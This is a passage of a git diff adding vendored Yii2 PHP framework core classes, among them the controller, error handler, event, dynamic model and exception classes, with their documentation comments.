$this->createAction($id); + if ($action === null) { + throw new InvalidRouteException('Unable to resolve the request: ' . $this->getUniqueId() . '/' . $id); + } + + Yii::trace("Route to run: " . $action->getUniqueId(), __METHOD__); + + if (Yii::$app->requestedAction === null) { + Yii::$app->requestedAction = $action; + } + + $oldAction = $this->action; + $this->action = $action; + + $modules = []; + $runAction = true; + + // call beforeAction on modules + foreach ($this->getModules() as $module) { + if ($module->beforeAction($action)) { + array_unshift($modules, $module); + } else { + $runAction = false; + break; + } + } + + $result = null; + + if ($runAction && $this->beforeAction($action)) { + // run the action + $result = $action->runWithParams($params); + + $result = $this->afterAction($action, $result); + + // call afterAction on modules + foreach ($modules as $module) { + /* @var $module Module */ + $result = $module->afterAction($action, $result); + } + } + + $this->action = $oldAction; + + return $result; + } + + /** + * Runs a request specified in terms of a route. + * The route can be either an ID of an action within this controller or a complete route consisting + * of module IDs, controller ID and action ID. If the route starts with a slash '/', the parsing of + * the route will start from the application; otherwise, it will start from the parent module of this controller. + * @param string $route the route to be handled, e.g., 'view', 'comment/view', '/admin/comment/view'. + * @param array $params the parameters to be passed to the action. + * @return mixed the result of the action. + * @see runAction() + */ + public function run($route, $params = []) + { + $pos = strpos($route, '/'); + if ($pos === false) { + return $this->runAction($route, $params); + } elseif ($pos > 0) { + return $this->module->runAction($route, $params); + } else { + return Yii::$app->runAction(ltrim($route, '/'), $params); + } + } + + /** + * Binds the parameters to the action. + * This method is invoked by [[Action]] when it begins to run with the given parameters. + * @param Action $action the action to be bound with parameters. + * @param array $params the parameters to be bound to the action. + * @return array the valid parameters that the action can run with. + */ + public function bindActionParams($action, $params) + { + return []; + } + + /** + * Creates an action based on the given action ID. + * The method first checks if the action ID has been declared in [[actions()]]. If so, + * it will use the configuration declared there to create the action object. + * If not, it will look for a controller method whose name is in the format of `actionXyz` + * where `Xyz` stands for the action ID. If found, an [[InlineAction]] representing that + * method will be created and returned. + * @param string $id the action ID. + * @return Action the newly created action instance. Null if the ID doesn't resolve into any action. + */ + public function createAction($id) + { + if ($id === '') { + $id = $this->defaultAction; + } + + $actionMap = $this->actions(); + if (isset($actionMap[$id])) { + return Yii::createObject($actionMap[$id], [$id, $this]); + } elseif (preg_match('/^[a-z0-9\\-_]+$/', $id) && strpos($id, '--') === false && trim($id, '-') === $id) { + $methodName = 'action' . str_replace(' ', '', ucwords(implode(' ', explode('-', $id)))); + if (method_exists($this, $methodName)) { + $method = new \ReflectionMethod($this, $methodName); + if ($method->isPublic() && $method->getName() === $methodName) { + return new InlineAction($id, $this, $methodName); + } + } + } + + return null; + } + + /** + * This method is invoked right before an action is executed. + * + * The method will trigger the [[EVENT_BEFORE_ACTION]] event. The return value of the method + * will determine whether the action should continue to run. + * + * If you override this method, your code should look like the following: + * + * ```php + * public function beforeAction($action) + * { + * if (parent::beforeAction($action)) { + * // your custom code here + * return true; // or false if needed + * } else { + * return false; + * } + * } + * ``` + * + * @param Action $action the action to be executed. + * @return boolean whether the action should continue to run. + */ + public function beforeAction($action) + { + $event = new ActionEvent($action); + $this->trigger(self::EVENT_BEFORE_ACTION, $event); + return $event->isValid; + } + + /** + * This method is invoked right after an action is executed. + * + * The method will trigger the [[EVENT_AFTER_ACTION]] event. The return value of the method + * will be used as the action return value. + * + * If you override this method, your code should look like the following: + * + * ```php + * public function afterAction($action, $result) + * { + * $result = parent::afterAction($action, $result); + * // your custom code here + * return $result; + * } + * ``` + * + * @param Action $action the action just executed. + * @param mixed $result the action return result. + * @return mixed the processed action result. + */ + public function afterAction($action, $result) + { + $event = new ActionEvent($action); + $event->result = $result; + $this->trigger(self::EVENT_AFTER_ACTION, $event); + return $event->result; + } + + /** + * Returns all ancestor modules of this controller. + * The first module in the array is the outermost one (i.e., the application instance), + * while the last is the innermost one. + * @return Module[] all ancestor modules that this controller is located within. + */ + public function getModules() + { + $modules = [$this->module]; + $module = $this->module; + while ($module->module !== null) { + array_unshift($modules, $module->module); + $module = $module->module; + } + return $modules; + } + + /** + * @return string the controller ID that is prefixed with the module ID (if any). + */ + public function getUniqueId() + { + return $this->module instanceof Application ? $this->id : $this->module->getUniqueId() . '/' . $this->id; + } + + /** + * Returns the route of the current request. + * @return string the route (module ID, controller ID and action ID) of the current request. + */ + public function getRoute() + { + return $this->action !== null ? $this->action->getUniqueId() : $this->getUniqueId(); + } + + /** + * Renders a view and applies layout if available. + * + * The view to be rendered can be specified in one of the following formats: + * + * - path alias (e.g. "@app/views/site/index"); + * - absolute path within application (e.g. "//site/index"): the view name starts with double slashes. + * The actual view file will be looked for under the [[Application::viewPath|view path]] of the application. + * - absolute path within module (e.g. "/site/index"): the view name starts with a single slash. + * The actual view file will be looked for under the [[Module::viewPath|view path]] of [[module]]. + * - relative path (e.g. "index"): the actual view file will be looked for under [[viewPath]]. + * + * To determine which layout should be applied, the following two steps are conducted: + * + * 1. In the first step, it determines the layout name and the context module: + * + * - If [[layout]] is specified as a string, use it as the layout name and [[module]] as the context module; + * - If [[layout]] is null, search through all ancestor modules of this controller and find the first + * module whose [[Module::layout|layout]] is not null. The layout and the corresponding module + * are used as the layout name and the context module, respectively. If such a module is not found + * or the corresponding layout is not a string, it will return false, meaning no applicable layout. + * + * 2. In the second step, it determines the actual layout file according to the previously found layout name + * and context module. The layout name can be: + * + * - a path alias (e.g. "@app/views/layouts/main"); + * - an absolute path (e.g. "/main"): the layout name starts with a slash. The actual layout file will be + * looked for under the [[Application::layoutPath|layout path]] of the application; + * - a relative path (e.g. "main"): the actual layout file will be looked for under the + * [[Module::layoutPath|layout path]] of the context module. + * + * If the layout name does not contain a file extension, it will use the default one `.php`. + * + * @param string $view the view name. + * @param array $params the parameters (name-value pairs) that should be made available in the view. + * These parameters will not be available in the layout. + * @return string the rendering result. + * @throws InvalidParamException if the view file or the layout file does not exist. + */ + public function render($view, $params = []) + { + $output = $this->getView()->render($view, $params, $this); + $layoutFile = $this->findLayoutFile($this->getView()); + if ($layoutFile !== false) { + return $this->getView()->renderFile($layoutFile, ['content' => $output], $this); + } else { + return $output; + } + } + + /** + * Renders a view. + * This method differs from [[render()]] in that it does not apply any layout. + * @param string $view the view name. Please refer to [[render()]] on how to specify a view name. + * @param array $params the parameters (name-value pairs) that should be made available in the view. + * @return string the rendering result. + * @throws InvalidParamException if the view file does not exist. + */ + public function renderPartial($view, $params = []) + { + return $this->getView()->render($view, $params, $this); + } + + /** + * Renders a view file. + * @param string $file the view file to be rendered. This can be either a file path or a path alias. + * @param array $params the parameters (name-value pairs) that should be made available in the view. + * @return string the rendering result. + * @throws InvalidParamException if the view file does not exist. + */ + public function renderFile($file, $params = []) + { + return $this->getView()->renderFile($file, $params, $this); + } + + /** + * Returns the view object that can be used to render views or view files. + * The [[render()]], [[renderPartial()]] and [[renderFile()]] methods will use + * this view object to implement the actual view rendering. + * If not set, it will default to the "view" application component. + * @return View|\yii\web\View the view object that can be used to render views or view files. + */ + public function getView() + { + if ($this->_view === null) { + $this->_view = Yii::$app->getView(); + } + return $this->_view; + } + + /** + * Sets the view object to be used by this controller. + * @param View|\yii\web\View $view the view object that can be used to render views or view files. + */ + public function setView($view) + { + $this->_view = $view; + } + + /** + * Returns the directory containing view files for this controller. + * The default implementation returns the directory named as controller [[id]] under the [[module]]'s + * [[viewPath]] directory. + * @return string the directory containing the view files for this controller. + */ + public function getViewPath() + { + return $this->module->getViewPath() . DIRECTORY_SEPARATOR . $this->id; + } + + /** + * Finds the applicable layout file. + * @param View $view the view object to render the layout file. + * @return string|boolean the layout file path, or false if layout is not needed. + * Please refer to [[render()]] on how to specify this parameter. + * @throws InvalidParamException if an invalid path alias is used to specify the layout. + */ + public function findLayoutFile($view) + { + $module = $this->module; + if (is_string($this->layout)) { + $layout = $this->layout; + } elseif ($this->layout === null) { + while ($module !== null && $module->layout === null) { + $module = $module->module; + } + if ($module !== null && is_string($module->layout)) { + $layout = $module->layout; + } + } + + if (!isset($layout)) { + return false; + } + + if (strncmp($layout, '@', 1) === 0) { + $file = Yii::getAlias($layout); + } elseif (strncmp($layout, '/', 1) === 0) { + $file = Yii::$app->getLayoutPath() . DIRECTORY_SEPARATOR . substr($layout, 1); + } else { + $file = $module->getLayoutPath() . DIRECTORY_SEPARATOR . $layout; + } + + if (pathinfo($file, PATHINFO_EXTENSION) !== '') { + return $file; + } + $path = $file . '.' . $view->defaultExtension; + if ($view->defaultExtension !== 'php' && !is_file($path)) { + $path = $file . '.php'; + } + + return $path; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/DynamicModel.php b/php/yii2/basic/vendor/yiisoft/yii2/base/DynamicModel.php new file mode 100644 index 00000000..782244e9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/DynamicModel.php @@ -0,0 +1,202 @@ + 128], + * ['email', 'email'], + * ]); + * if ($model->hasErrors()) { + * // validation fails + * } else { + * // validation succeeds + * } + * } + * ``` + * + * The above example shows how to validate `$name` and `$email` with the help of DynamicModel. + * The [[validateData()]] method creates an instance of DynamicModel, defines the attributes + * using the given data (`name` and `email` in this example), and then calls [[Model::validate()]]. + * + * You can check the validation result by [[hasErrors()]], like you do with a normal model. + * You may also access the dynamic attributes defined through the model instance, e.g., + * `$model->name` and `$model->email`. + * + * Alternatively, you may use the following more "classic" syntax to perform ad-hoc data validation: + * + * ```php + * $model = new DynamicModel(compact('name', 'email')); + * $model->addRule(['name', 'email'], 'string', ['max' => 128]) + * ->addRule('email', 'email') + * ->validate(); + * ``` + * + * DynamicModel implements the above ad-hoc data validation feature by supporting the so-called + * "dynamic attributes". It basically allows an attribute to be defined dynamically through its constructor + * or [[defineAttribute()]]. + * + * @author Qiang Xue + * @since 2.0 + */ +class DynamicModel extends Model +{ + private $_attributes = []; + + + /** + * Constructors. + * @param array $attributes the dynamic attributes (name-value pairs, or names) being defined + * @param array $config the configuration array to be applied to this object. + */ + public function __construct(array $attributes = [], $config = []) + { + foreach ($attributes as $name => $value) { + if (is_integer($name)) { + $this->_attributes[$value] = null; + } else { + $this->_attributes[$name] = $value; + } + } + parent::__construct($config); + } + + /** + * @inheritdoc + */ + public function __get($name) + { + if (array_key_exists($name, $this->_attributes)) { + return $this->_attributes[$name]; + } else { + return parent::__get($name); + } + } + + /** + * @inheritdoc + */ + public function __set($name, $value) + { + if (array_key_exists($name, $this->_attributes)) { + $this->_attributes[$name] = $value; + } else { + parent::__set($name, $value); + } + } + + /** + * @inheritdoc + */ + public function __isset($name) + { + if (array_key_exists($name, $this->_attributes)) { + return isset($this->_attributes[$name]); + } else { + return parent::__isset($name); + } + } + + /** + * @inheritdoc + */ + public function __unset($name) + { + if (array_key_exists($name, $this->_attributes)) { + unset($this->_attributes[$name]); + } else { + parent::__unset($name); + } + } + + /** + * Defines an attribute. + * @param string $name the attribute name + * @param mixed $value the attribute value + */ + public function defineAttribute($name, $value = null) + { + $this->_attributes[$name] = $value; + } + + /** + * Undefines an attribute. + * @param string $name the attribute name + */ + public function undefineAttribute($name) + { + unset($this->_attributes[$name]); + } + + /** + * Adds a validation rule to this model. + * You can also directly manipulate [[validators]] to add or remove validation rules. + * This method provides a shortcut. + * @param string|array $attributes the attribute(s) to be validated by the rule + * @param mixed $validator the validator for the rule.This can be a built-in validator name, + * a method name of the model class, an anonymous function, or a validator class name. + * @param array $options the options (name-value pairs) to be applied to the validator + * @return static the model itself + */ + public function addRule($attributes, $validator, $options = []) + { + $validators = $this->getValidators(); + $validators->append(Validator::createValidator($validator, $this, (array) $attributes, $options)); + + return $this; + } + + /** + * Validates the given data with the specified validation rules. + * This method will create a DynamicModel instance, populate it with the data to be validated, + * create the specified validation rules, and then validate the data using these rules. + * @param array $data the data (name-value pairs) to be validated + * @param array $rules the validation rules. Please refer to [[Model::rules()]] on the format of this parameter. + * @return static the model instance that contains the data being validated + * @throws InvalidConfigException if a validation rule is not specified correctly. + */ + public static function validateData(array $data, $rules = []) + { + /* @var $model DynamicModel */ + $model = new static($data); + if (!empty($rules)) { + $validators = $model->getValidators(); + foreach ($rules as $rule) { + if ($rule instanceof Validator) { + $validators->append($rule); + } elseif (is_array($rule) && isset($rule[0], $rule[1])) { // attributes, validator type + $validator = Validator::createValidator($rule[1], $model, (array) $rule[0], array_slice($rule, 2)); + $validators->append($validator); + } else { + throw new InvalidConfigException('Invalid validation rule: a rule must specify both attribute names and validator type.'); + } + } + } + + $model->validate(); + + return $model; + } + + /** + * @inheritdoc + */ + public function attributes() + { + return array_keys($this->_attributes); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/ErrorException.php b/php/yii2/basic/vendor/yiisoft/yii2/base/ErrorException.php new file mode 100644 index 00000000..52a56cee --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/ErrorException.php @@ -0,0 +1,94 @@ + + * @since 2.0 + */ +class ErrorException extends \ErrorException +{ + /** + * Constructs the exception. + * @link http://php.net/manual/en/errorexception.construct.php + * @param $message [optional] + * @param $code [optional] + * @param $severity [optional] + * @param $filename [optional] + * @param $lineno [optional] + * @param $previous [optional] + */ + public function __construct($message = '', $code = 0, $severity = 1, $filename = __FILE__, $lineno = __LINE__, \Exception $previous = null) + { + parent::__construct($message, $code, $severity, $filename, $lineno, $previous); + + if (function_exists('xdebug_get_function_stack')) { + $trace = array_slice(array_reverse(xdebug_get_function_stack()), 3, -1); + foreach ($trace as &$frame) { + if (!isset($frame['function'])) { + $frame['function'] = 'unknown'; + } + + // XDebug < 2.1.1: http://bugs.xdebug.org/view.php?id=695 + if (!isset($frame['type']) || $frame['type'] === 'static') { + $frame['type'] = '::'; + } elseif ($frame['type'] === 'dynamic') { + $frame['type'] = '->'; + } + + // XDebug has a different key name + if (isset($frame['params']) && !isset($frame['args'])) { + $frame['args'] = $frame['params']; + } + } + + $ref = new \ReflectionProperty('Exception', 'trace'); + $ref->setAccessible(true); + $ref->setValue($this, $trace); + } + } + + /** + * Returns if error is one of fatal type. + * + * @param array $error error got from error_get_last() + * @return boolean if error is one of fatal type + */ + public static function isFatalError($error) + { + return isset($error['type']) && in_array($error['type'], [E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING]); + } + + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + $names = [ + E_ERROR => 'PHP Fatal Error', + E_PARSE => 'PHP Parse Error', + E_CORE_ERROR => 'PHP Core Error', + E_COMPILE_ERROR => 'PHP Compile Error', + E_USER_ERROR => 'PHP User Error', + E_WARNING => 'PHP Warning', + E_CORE_WARNING => 'PHP Core Warning', + E_COMPILE_WARNING => 'PHP Compile Warning', + E_USER_WARNING => 'PHP User Warning', + E_STRICT => 'PHP Strict Warning', + E_NOTICE => 'PHP Notice', + E_RECOVERABLE_ERROR => 'PHP Recoverable Error', + E_DEPRECATED => 'PHP Deprecated Warning', + ]; + + return isset($names[$this->getCode()]) ? $names[$this->getCode()] : 'Error'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/ErrorHandler.php b/php/yii2/basic/vendor/yiisoft/yii2/base/ErrorHandler.php new file mode 100644 index 00000000..a48c6163 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/ErrorHandler.php @@ -0,0 +1,261 @@ +errorHandler`. + * + * @author Qiang Xue + * @author Alexander Makarov + * @author Carsten Brandt + * @since 2.0 + */ +abstract class ErrorHandler extends Component +{ + /** + * @var boolean whether to discard any existing page output before error display. Defaults to true. + */ + public $discardExistingOutput = true; + /** + * @var integer the size of the reserved memory. A portion of memory is pre-allocated so that + * when an out-of-memory issue occurs, the error handler is able to handle the error with + * the help of this reserved memory. If you set this value to be 0, no memory will be reserved. + * Defaults to 256KB. + */ + public $memoryReserveSize = 262144; + /** + * @var \Exception the exception that is being handled currently. + */ + public $exception; + + /** + * @var string Used to reserve memory for fatal error handler. + */ + private $_memoryReserve; + + + /** + * Register this error handler + */ + public function register() + { + ini_set('display_errors', false); + set_exception_handler([$this, 'handleException']); + set_error_handler([$this, 'handleError']); + if ($this->memoryReserveSize > 0) { + $this->_memoryReserve = str_repeat('x', $this->memoryReserveSize); + } + register_shutdown_function([$this, 'handleFatalError']); + } + + /** + * Unregisters this error handler by restoring the PHP error and exception handlers. + */ + public function unregister() + { + restore_error_handler(); + restore_exception_handler(); + } + + /** + * Handles uncaught PHP exceptions. + * + * This method is implemented as a PHP exception handler. + * + * @param \Exception $exception the exception that is not caught + */ + public function handleException($exception) + { + if ($exception instanceof ExitException) { + return; + } + + $this->exception = $exception; + + // disable error capturing to avoid recursive errors while handling exceptions + restore_error_handler(); + restore_exception_handler(); + try { + $this->logException($exception); + if ($this->discardExistingOutput) { + $this->clearOutput(); + } + $this->renderException($exception); + if (!YII_ENV_TEST) { + exit(1); + } + } catch (\Exception $e) { + // an other exception could be thrown while displaying the exception + $msg = (string) $e; + $msg .= "\nPrevious exception:\n"; + $msg .= (string) $exception; + if (YII_DEBUG) { + if (PHP_SAPI === 'cli') { + echo $msg . "\n"; + } else { + echo '
            ' . htmlspecialchars($msg, ENT_QUOTES, Yii::$app->charset) . '
            '; + } + } + $msg .= "\n\$_SERVER = " . VarDumper::export($_SERVER); + error_log($msg); + exit(1); + } + + $this->exception = null; + } + + /** + * Handles PHP execution errors such as warnings and notices. + * + * This method is used as a PHP error handler. It will simply raise an [[ErrorException]]. + * + * @param integer $code the level of the error raised. + * @param string $message the error message. + * @param string $file the filename that the error was raised in. + * @param integer $line the line number the error was raised at. + * @return boolean whether the normal error handler continues. + * + * @throws ErrorException + */ + public function handleError($code, $message, $file, $line) + { + if (error_reporting() & $code) { + // load ErrorException manually here because autoloading them will not work + // when error occurs while autoloading a class + if (!class_exists('yii\\base\\ErrorException', false)) { + require_once(__DIR__ . '/ErrorException.php'); + } + $exception = new ErrorException($message, $code, $code, $file, $line); + + // in case error appeared in __toString method we can't throw any exception + $trace = debug_backtrace(0); + array_shift($trace); + foreach ($trace as $frame) { + if ($frame['function'] == '__toString') { + $this->handleException($exception); + exit(1); + } + } + + throw $exception; + } + return false; + } + + /** + * Handles fatal PHP errors + */ + public function handleFatalError() + { + unset($this->_memoryReserve); + + // load ErrorException manually here because autoloading them will not work + // when error occurs while autoloading a class + if (!class_exists('yii\\base\\ErrorException', false)) { + require_once(__DIR__ . '/ErrorException.php'); + } + + $error = error_get_last(); + + if (ErrorException::isFatalError($error)) { + $exception = new ErrorException($error['message'], $error['type'], $error['type'], $error['file'], $error['line']); + $this->exception = $exception; + + $this->logException($exception); + + if ($this->discardExistingOutput) { + $this->clearOutput(); + } + $this->renderException($exception); + + // need to explicitly flush logs because exit() next will terminate the app immediately + Yii::getLogger()->flush(true); + + exit(1); + } + } + + /** + * Renders the exception. + * @param \Exception $exception the exception to be rendered. + */ + abstract protected function renderException($exception); + + /** + * Logs the given exception + * @param \Exception $exception the exception to be logged + */ + protected function logException($exception) + { + $category = get_class($exception); + if ($exception instanceof HttpException) { + $category = 'yii\\web\\HttpException:' . $exception->statusCode; + } elseif ($exception instanceof \ErrorException) { + $category .= ':' . $exception->getSeverity(); + } + Yii::error((string) $exception, $category); + } + + /** + * Removes all output echoed before calling this method. + */ + public function clearOutput() + { + // the following manual level counting is to deal with zlib.output_compression set to On + for ($level = ob_get_level(); $level > 0; --$level) { + if (!@ob_end_clean()) { + ob_clean(); + } + } + } + + /** + * Converts an exception into a PHP error. + * + * This method can be used to convert exceptions inside of methods like `__toString()` + * to PHP errors because exceptions cannot be thrown inside of them. + * @param \Exception $exception the exception to convert to a PHP error. + */ + public static function convertExceptionToError($exception) + { + trigger_error(static::convertExceptionToString($exception), E_USER_ERROR); + } + + /** + * Converts an exception into a simple string. + * @param \Exception $exception the exception being converted + * @return string the string representation of the exception. + */ + public static function convertExceptionToString($exception) + { + if ($exception instanceof Exception && ($exception instanceof UserException || !YII_DEBUG)) { + $message = "{$exception->getName()}: {$exception->getMessage()}"; + } elseif (YII_DEBUG) { + if ($exception instanceof Exception) { + $message = "Exception ({$exception->getName()})"; + } elseif ($exception instanceof ErrorException) { + $message = "{$exception->getName()}"; + } else { + $message = 'Exception'; + } + $message .= " '" . get_class($exception) . "' with message '{$exception->getMessage()}' \n\nin " + . $exception->getFile() . ':' . $exception->getLine() . "\n\n" + . "Stack trace:\n" . $exception->getTraceAsString(); + } else { + $message = 'Error: ' . $exception->getMessage(); + } + return $message; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Event.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Event.php new file mode 100644 index 00000000..e6a602c7 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Event.php @@ -0,0 +1,196 @@ + + * @since 2.0 + */ +class Event extends Object +{ + /** + * @var string the event name. This property is set by [[Component::trigger()]] and [[trigger()]]. + * Event handlers may use this property to check what event it is handling. + */ + public $name; + /** + * @var object the sender of this event. If not set, this property will be + * set as the object whose "trigger()" method is called. + * This property may also be a `null` when this event is a + * class-level event which is triggered in a static context. + */ + public $sender; + /** + * @var boolean whether the event is handled. Defaults to false. + * When a handler sets this to be true, the event processing will stop and + * ignore the rest of the uninvoked event handlers. + */ + public $handled = false; + /** + * @var mixed the data that is passed to [[Component::on()]] when attaching an event handler. + * Note that this varies according to which event handler is currently executing. + */ + public $data; + + private static $_events = []; + + + /** + * Attaches an event handler to a class-level event. + * + * When a class-level event is triggered, event handlers attached + * to that class and all parent classes will be invoked. + * + * For example, the following code attaches an event handler to `ActiveRecord`'s + * `afterInsert` event: + * + * ~~~ + * Event::on(ActiveRecord::className(), ActiveRecord::EVENT_AFTER_INSERT, function ($event) { + * Yii::trace(get_class($event->sender) . ' is inserted.'); + * }); + * ~~~ + * + * The handler will be invoked for EVERY successful ActiveRecord insertion. + * + * For more details about how to declare an event handler, please refer to [[Component::on()]]. + * + * @param string $class the fully qualified class name to which the event handler needs to attach. + * @param string $name the event name. + * @param callable $handler the event handler. + * @param mixed $data the data to be passed to the event handler when the event is triggered. + * When the event handler is invoked, this data can be accessed via [[Event::data]]. + * @param boolean $append whether to append new event handler to the end of the existing + * handler list. If false, the new handler will be inserted at the beginning of the existing + * handler list. + * @see off() + */ + public static function on($class, $name, $handler, $data = null, $append = true) + { + $class = ltrim($class, '\\'); + if ($append || empty(self::$_events[$name][$class])) { + self::$_events[$name][$class][] = [$handler, $data]; + } else { + array_unshift(self::$_events[$name][$class], [$handler, $data]); + } + } + + /** + * Detaches an event handler from a class-level event. + * + * This method is the opposite of [[on()]]. + * + * @param string $class the fully qualified class name from which the event handler needs to be detached. + * @param string $name the event name. + * @param callable $handler the event handler to be removed. + * If it is null, all handlers attached to the named event will be removed. + * @return boolean whether a handler is found and detached. + * @see on() + */ + public static function off($class, $name, $handler = null) + { + $class = ltrim($class, '\\'); + if (empty(self::$_events[$name][$class])) { + return false; + } + if ($handler === null) { + unset(self::$_events[$name][$class]); + return true; + } else { + $removed = false; + foreach (self::$_events[$name][$class] as $i => $event) { + if ($event[0] === $handler) { + unset(self::$_events[$name][$class][$i]); + $removed = true; + } + } + if ($removed) { + self::$_events[$name][$class] = array_values(self::$_events[$name][$class]); + } + + return $removed; + } + } + + /** + * Returns a value indicating whether there is any handler attached to the specified class-level event. + * Note that this method will also check all parent classes to see if there is any handler attached + * to the named event. + * @param string|object $class the object or the fully qualified class name specifying the class-level event. + * @param string $name the event name. + * @return boolean whether there is any handler attached to the event. + */ + public static function hasHandlers($class, $name) + { + if (empty(self::$_events[$name])) { + return false; + } + if (is_object($class)) { + $class = get_class($class); + } else { + $class = ltrim($class, '\\'); + } + do { + if (!empty(self::$_events[$name][$class])) { + return true; + } + } while (($class = get_parent_class($class)) !== false); + + return false; + } + + /** + * Triggers a class-level event. + * This method will cause invocation of event handlers that are attached to the named event + * for the specified class and all its parent classes. + * @param string|object $class the object or the fully qualified class name specifying the class-level event. + * @param string $name the event name. + * @param Event $event the event parameter. If not set, a default [[Event]] object will be created. + */ + public static function trigger($class, $name, $event = null) + { + if (empty(self::$_events[$name])) { + return; + } + if ($event === null) { + $event = new static; + } + $event->handled = false; + $event->name = $name; + + if (is_object($class)) { + if ($event->sender === null) { + $event->sender = $class; + } + $class = get_class($class); + } else { + $class = ltrim($class, '\\'); + } + do { + if (!empty(self::$_events[$name][$class])) { + foreach (self::$_events[$name][$class] as $handler) { + $event->data = $handler[1]; + call_user_func($handler[0], $event); + if ($event->handled) { + return; + } + } + } + } while (($class = get_parent_class($class)) !== false); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Exception.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Exception.php new file mode 100644 index 00000000..e12cf1b9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Exception.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class Exception extends \Exception +{ + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + return 'Exception'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/ExitException.php b/php/yii2/basic/vendor/yiisoft/yii2/base/ExitException.php new file mode 100644 index 00000000..e62f8dff --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/ExitException.php @@ -0,0 +1,38 @@ + + * @since 2.0 + */ +class ExitException extends \Exception +{ + /** + * @var integer the exit status code + */ + public $statusCode; + + + /** + * Constructor. + * @param integer $status the exit status code + * @param string $message error message + * @param integer $code error code + * @param \Exception $previous The previous exception used for the exception chaining. + */ + public function __construct($status = 0, $message = null, $code = 0, \Exception $previous = null) + { + $this->statusCode = $status; + parent::__construct($message, $code, $previous); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/InlineAction.php b/php/yii2/basic/vendor/yiisoft/yii2/base/InlineAction.php new file mode 100644 index 00000000..64727934 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/InlineAction.php @@ -0,0 +1,57 @@ + + * @since 2.0 + */ +class InlineAction extends Action +{ + /** + * @var string the controller method that this inline action is associated with + */ + public $actionMethod; + + + /** + * @param string $id the ID of this action + * @param Controller $controller the controller that owns this action + * @param string $actionMethod the controller method that this inline action is associated with + * @param array $config name-value pairs that will be used to initialize the object properties + */ + public function __construct($id, $controller, $actionMethod, $config = []) + { + $this->actionMethod = $actionMethod; + parent::__construct($id, $controller, $config); + } + + /** + * Runs this action with the specified parameters. + * This method is mainly invoked by the controller. + * @param array $params action parameters + * @return mixed the result of the action + */ + public function runWithParams($params) + { + $args = $this->controller->bindActionParams($this, $params); + Yii::trace('Running action: ' . get_class($this->controller) . '::' . $this->actionMethod . '()', __METHOD__); + if (Yii::$app->requestedParams === null) { + Yii::$app->requestedParams = $args; + } + + return call_user_func_array([$this->controller, $this->actionMethod], $args); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidCallException.php b/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidCallException.php new file mode 100644 index 00000000..1710946e --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidCallException.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class InvalidCallException extends \BadMethodCallException +{ + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + return 'Invalid Call'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidConfigException.php b/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidConfigException.php new file mode 100644 index 00000000..953675f9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidConfigException.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class InvalidConfigException extends Exception +{ + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + return 'Invalid Configuration'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidParamException.php b/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidParamException.php new file mode 100644 index 00000000..af6c3a31 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidParamException.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class InvalidParamException extends \BadMethodCallException +{ + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + return 'Invalid Parameter'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidRouteException.php b/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidRouteException.php new file mode 100644 index 00000000..43bed6ef --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidRouteException.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class InvalidRouteException extends UserException +{ + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + return 'Invalid Route'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidValueException.php b/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidValueException.php new file mode 100644 index 00000000..a3727ce4 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/InvalidValueException.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class InvalidValueException extends \UnexpectedValueException +{ + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + return 'Invalid Return Value'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Model.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Model.php new file mode 100644 index 00000000..de8a024a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Model.php @@ -0,0 +1,923 @@ + value). + * @property array $errors An array of errors for all attributes. Empty array is returned if no error. The + * result is a two-dimensional array. See [[getErrors()]] for detailed description. This property is read-only. + * @property array $firstErrors The first errors. The array keys are the attribute names, and the array values + * are the corresponding error messages. An empty array will be returned if there is no error. This property is + * read-only. + * @property ArrayIterator $iterator An iterator for traversing the items in the list. This property is + * read-only. + * @property string $scenario The scenario that this model is in. 